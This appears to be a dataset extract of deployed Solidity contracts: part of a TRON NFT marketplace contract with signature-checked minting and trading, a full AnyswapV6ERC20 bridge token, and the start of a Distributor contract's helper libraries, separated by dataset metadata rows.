function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
// (bool success,) = to.call{value:value}(new bytes(0));
(bool success,) = to.call.value(value)(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// erc721
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
// function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
interface IJustswapExchange {
// trx, token
function trxToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256);
}
// Owner
contract Ownable {
//
address public owner;
//
address public secondOwner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "NFT: You are not owner");
_;
}
function updateOwner(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
modifier onlySecondOwner() {
require(msg.sender == secondOwner, "NFT: You are not second owner");
_;
}
function updateSecondOwner(address newSecondOwner) onlyOwner public {
if (newSecondOwner != address(0)) {
secondOwner = newSecondOwner;
}
}
}
// NFT
contract NFT is ERC721, Ownable {
using SafeMath for uint256;
// token
string public name = "NFT";
// token
string public symbol = "NFT";
// token; token id, ok;
uint256[] public allToken;
// token;
uint256 public allTokenNumber;
// token
mapping (address => uint256) public balances;
// token
mapping (uint256 => address) public tokenToOwner;
// token
mapping (uint256 => address) public tokenApproveToOwner;
// 1: HNFT(ETM);
// 2: ;
// 3: just swap; GDCV-TRX;
// GDCV18-TRX: TLFdzUnUypKT3aCw3mNsn7T6m9nGLtSHBp;0x70cCc61a63C4824043d95b0e573EFb95bfecC331;
// GDCV-TRX: TBu8mRm3CD6EhUSnh7QxMJAoLM3KvwYxHf=0x152B0d70C0fEE3B471f02dA25Ea4B176BC33cdE7;
constructor(address _hnftAddress, address _secondOwner, address _justSwapPair) public {
hnftAddress = _hnftAddress;
secondOwner = _secondOwner;
justSwapPair = _justSwapPair;
}
// Token
function totalSupply() public view returns (uint256) {
return allTokenNumber;
}
// Token
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
// TokenId; 0
function ownerOf(uint256 _tokenId) public view returns (address) {
return tokenToOwner[_tokenId];
}
// token
function _transfer(address _from, address _to, uint256 _tokenId) private {
// 0
require(_from != address(0), "NFTERC721: From is zero address");
// token
tokenToOwner[_tokenId] = _to;
delete tokenApproveToOwner[_tokenId];
//
balances[_from] = balances[_from].sub(1);
//
balances[_to] = balances[_to].add(1);
//
emit Transfer(_from, _to, _tokenId);
}
// token2;
function _transfer2(address _from, address _to, uint256 _tokenId) private {
// 0
require(_from != address(0), "NFTERC721: From is zero address");
// token
tokenToOwner[_tokenId] = _to;
delete tokenApproveToOwner[_tokenId];
//
balances[_from] = balances[_from].sub(1);
//
balances[_to] = balances[_to].add(1);
//
// emit Transfer(_from, _to, _tokenId);
}
// Token
function transfer(address _to, uint256 _tokenId) external {
// token
require(tokenToOwner[_tokenId] == msg.sender, "NFTERC721: You not owner");
// token
_transfer(msg.sender, _to, _tokenId);
}
// token; , ;
function approve(address _to, uint256 _tokenId) external {
// token
require(tokenToOwner[_tokenId] == msg.sender, "NFTERC721: You not owner");
//
tokenApproveToOwner[_tokenId] = _to;
//
emit Approval(msg.sender, _to, _tokenId);
}
// Token
function transferFrom(address _from, address _to, uint256 _tokenId) external {
// tokenfrom
require(tokenToOwner[_tokenId] == _from, "NFTERC721: From not owner");
//
require(tokenApproveToOwner[_tokenId] == msg.sender, "NFTERC721: Not approve");
//
_transfer(_from, _to, _tokenId);
}
// hnft(ETM)
address public hnftAddress;
address public justSwapPair;
// 0, ; 0, 99
address public constant zeroAddress = 0x0000000000000000000000000000000000000001;
// messageHash
mapping (bytes32 => bool) public signHash;
// , gas; orderId => ;
mapping (uint256 => bool) public orderIdMapping;
// ; ;
event Mint(address owner, uint256 tokenId);
// ;
event Join(address owner, uint256 tokenId1, uint256 tokenId2, uint256 tokenId3, uint256 tokenId4, uint256 newTokenId);
// ; nonce;
event Buy(address seller, address buyer, uint256 tokenId, uint256 value, uint256 nonce);
// ; nonce;
event BuyNipo(address seller, address buyer, uint256 tokenId, uint256 value, uint256 nonce);
//
event DrawRed(address owner, uint256 value, uint256 nonce);
// token;
// 1:
// 2: token id
function _mint(address _owner, uint256 _tokenId) private {
//
allToken.push(_tokenId);
allTokenNumber++;
//
balances[_owner]++;
tokenToOwner[_tokenId] = _owner;
//
emit Mint(_owner, _tokenId);
}
// token;
// 1:
// 2: token id
function _mint2(address _owner, uint256 _tokenId) private {
//
allToken.push(_tokenId);
allTokenNumber++;
//
balances[_owner]++;
tokenToOwner[_tokenId] = _owner;
//
// emit Mint(_owner, _tokenId);
}
// ; 4, ;
// 1: ;
// 2,3,4,5: 4tokenId;
// 6: tokenId;
function _join(address _owner,
uint256 _tokenId1,
uint256 _tokenId2,
uint256 _tokenId3,
uint256 _tokenId4,
uint256 _newTokenId) private {
//
allTokenNumber = allTokenNumber.sub(3);
allToken.push(_newTokenId);
//
balances[_owner] = balances[_owner].sub(3);
tokenToOwner[_newTokenId] = _owner;
// token
delete tokenToOwner[_tokenId1];
delete tokenToOwner[_tokenId2];
delete tokenToOwner[_tokenId3];
delete tokenToOwner[_tokenId4];
delete tokenApproveToOwner[_tokenId1];
delete tokenApproveToOwner[_tokenId2];
delete tokenApproveToOwner[_tokenId3];
delete tokenApproveToOwner[_tokenId4];
//
emit Join(_owner, _tokenId1, _tokenId2, _tokenId3, _tokenId4, _newTokenId);
}
// ; HNFT(GDCV)(); , ;
// 1: token id; ;
// 2: HNFT;
// 3: nonce;
// 4: orderId;
// 5: signature;
function openBox(uint256 _tokenId, uint256 _hnftNumber, uint256 _nonce, uint256 _orderId, bytes calldata _signature) external {
address _owner = msg.sender;
// ; secondOwner, ;
// : , , tokenId, HNFT, , orderId;
bytes32 hash = keccak256(abi.encodePacked("openBox", _owner, _tokenId, _hnftNumber, _nonce, _orderId));
bytes32 messageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
address signer = recoverSigner(messageHash, _signature);
require(signer == secondOwner, "NFT: Signer is not secondOwner");
// messageHash
require(!signHash[messageHash], "NFT: MessageHash is used");
// messageHash
signHash[messageHash] = true;
// orderId
require(!orderIdMapping[_orderId], "NFT: Order id already used");
// orderId
orderIdMapping[_orderId] = true;
// token
require(tokenToOwner[_tokenId] == address(0), "NFT: Token is exist");
// ERC20, ;
TransferHelper.safeTransferFrom(hnftAddress, _owner, zeroAddress, _hnftNumber);
// token;
_mint(_owner, _tokenId);
}
// ; tokenId, tokenId;
// 1,2,3,4: token id;
// 5: tokenId, ;
// 6: nonce;
// 7: signature;
function joinBox(uint256 _tokenId1,
uint256 _tokenId2,
uint256 _tokenId3,
uint256 _tokenId4,
uint256 _newTokenId,
uint256 _nonce,
bytes calldata _signature) external {
address _owner = msg.sender;
// ; secondOwner, ;
// : , , 4tokenId, tokenId, ;
bytes32 hash = keccak256(abi.encodePacked("joinBox", _owner, _tokenId1, _tokenId2, _tokenId3, _tokenId4, _newTokenId, _nonce));
bytes32 messageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
address signer = recoverSigner(messageHash, _signature);
require(signer == secondOwner, "NFT: Signer is not secondOwner");
// messageHash
require(!signHash[messageHash], "NFT: MessageHash is used");
// messageHash
signHash[messageHash] = true;
// token
require(tokenToOwner[_newTokenId] == address(0), "NFT: Token is exist");
//
require(tokenToOwner[_tokenId1] == msg.sender, "NFT: Token not you");
require(tokenToOwner[_tokenId2] == msg.sender, "NFT: Token not you");
require(tokenToOwner[_tokenId3] == msg.sender, "NFT: Token not you");
require(tokenToOwner[_tokenId4] == msg.sender, "NFT: Token not you");
//
_join(_owner, _tokenId1, _tokenId2, _tokenId3, _tokenId4, _newTokenId);
}
// ;
// 1:
// 2:
// 3: ()
// 4: tokenId;
// 5: nonce;
// 6: orderId;
// 7: signature;
function marketBuyToken(address _sellerAddress,
uint256 _sellerTrxValue,
uint256 _contractTrxValue,
uint256 _tokenId,
uint256 _nonce,
uint256 _orderId,
bytes calldata _signature) external payable {
address _buyAddress = msg.sender;
// ; secondOwner, ;
// : , , , , , tokenId, , orderId;
bytes32 hash = keccak256(abi.encodePacked("marketBuyToken", _sellerAddress, _buyAddress, _sellerTrxValue, _contractTrxValue, _tokenId, _nonce, _orderId));
bytes32 messageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
address signer = recoverSigner(messageHash, _signature);
require(signer == secondOwner, "NFT: Signer is not secondOwner");
// messageHash
require(!signHash[messageHash], "NFT: MessageHash is used");
// messageHash
signHash[messageHash] = true;
// orderId
require(!orderIdMapping[_orderId], "NFT: Order id already used");
// orderId
orderIdMapping[_orderId] = true;
// trx_sellerTrxValue+_contractTrxValue;
require(msg.value == _sellerTrxValue.add(_contractTrxValue), "NFT: Trx value error");
// tokenId
require(tokenToOwner[_tokenId] == _sellerAddress, "NFT: Token not seller");
// ; value, , trx;
TransferHelper.safeTransferETH(_sellerAddress, _sellerTrxValue);
// token
_transfer2(_sellerAddress, _buyAddress, _tokenId);
//
emit Buy(_sellerAddress, _buyAddress, _tokenId, msg.value, _nonce);
}
//
// 1:
// 2:
// 3: ()
// 4: HNFT(GDCV)
// 5: tokenId;
// 6: nonce;
// 7: orderId;
// 8: signature;
function nipoBuyToken(address _sellerAddress,
uint256 _sellerTrxValue,
uint256 _contractTrxValue,
uint256 _burnTrxValue,
uint256 _tokenId,
uint256 _nonce,
uint256 _orderId,
bytes calldata _signature) external payable {
address _buyAddress = msg.sender;
// ; secondOwner, ;
// : , , , , , , tokenId, , orderId;
bytes32 hash = keccak256(abi.encodePacked("nipoBuyToken", _sellerAddress, _buyAddress, _sellerTrxValue, _contractTrxValue, _burnTrxValue, _tokenId, _nonce, _orderId));
bytes32 messageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
address signer = recoverSigner(messageHash, _signature);
require(signer == secondOwner, "NFT: Signer is not secondOwner");
// messageHash
require(!signHash[messageHash], "NFT: MessageHash is used");
// messageHash
signHash[messageHash] = true;
// orderId
require(!orderIdMapping[_orderId], "NFT: Order id already used");
// orderId
orderIdMapping[_orderId] = true;
// trx_sellerTrxValue+_contractTrxValue;
require(msg.value == _sellerTrxValue.add(_contractTrxValue).add(_burnTrxValue), "NFT: Trx value error");
// ; value, , trx;
TransferHelper.safeTransferETH(_sellerAddress, _sellerTrxValue);
// trx;=====================================================================
(uint256 _tokenNumber) = IJustswapExchange(justSwapPair).trxToTokenSwapInput.value(_burnTrxValue)(1, block.timestamp + 300000);
TransferHelper.safeTransfer(hnftAddress, zeroAddress, _tokenNumber);
// token
require(tokenToOwner[_tokenId] == address(0), "NFT: Token is exist");
// token
_mint2(_buyAddress, _tokenId);
//
emit BuyNipo(_sellerAddress, _buyAddress, _tokenId, msg.value, _nonce);
}
// NFT
// 1: TXR
// 2: nonce;
// 3: signature;
function drawRed(uint256 _trxValue, uint256 _nonce, bytes calldata _signature) external {
address _owner = msg.sender;
// ; secondOwner, ;
// : , , , ;
bytes32 hash = keccak256(abi.encodePacked("drawRed", _owner, _trxValue, _nonce));
bytes32 messageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
address signer = recoverSigner(messageHash, _signature);
require(signer == secondOwner, "NFT: Signer is not secondOwner");
// messageHash
require(!signHash[messageHash], "NFT: MessageHash is used");
// messageHash
signHash[messageHash] = true;
//
(address(uint160(_owner))).transfer(_trxValue);
//
emit DrawRed(_owner, _trxValue, _nonce);
}
//
function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) {
(uint8 v, bytes32 r, bytes32 s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
// v r s
function splitSignature(bytes memory sig) internal pure returns (uint8 v, bytes32 r, bytes32 s) {
require(sig.length == 65);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
// messageHash, ;
function setMessageHash(bytes32 _messageHash) external onlySecondOwner {
if(!signHash[_messageHash]) {
// messageHash
signHash[_messageHash] = true;
}
}
function() payable external {}
}
| 293,938 | 10,970 |
bb6a2da9e540a1684146b2d2d1ebfca2139b96de327ce0c763d445dbefdc79d4
| 14,749 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/22/2244FaAB5a2A633Cb7f6e3D35E7dB8ec0136d3e2_AnyswapV6ERC20.sol
| 3,307 | 13,021 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public constant underlyingIsMinted = false;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
if (underlying != address(0) && IERC20(underlying).balanceOf(address(this)) >= amount) {
IERC20(underlying).safeTransfer(account, amount);
} else {
_mint(account, amount);
}
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, string memory bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
verifyBindAddr(bindaddr);
if (underlying != address(0) && balanceOf[msg.sender] < amount) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
} else {
_burn(msg.sender, amount);
}
emit LogSwapout(msg.sender, amount, bindaddr);
return true;
}
function verifyBindAddr(string memory bindaddr) pure internal {
require(bytes(bindaddr).length > 0);
}
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, uint amount, string bindaddr);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
| 87,395 | 10,971 |
11b1d11ff64870dceb9352bb2727c2703e80c549342fcecaa19f8cdd6a221b4d
| 18,083 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/de/de3b57d37df16929fe4b9380edb46e645445f95d_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
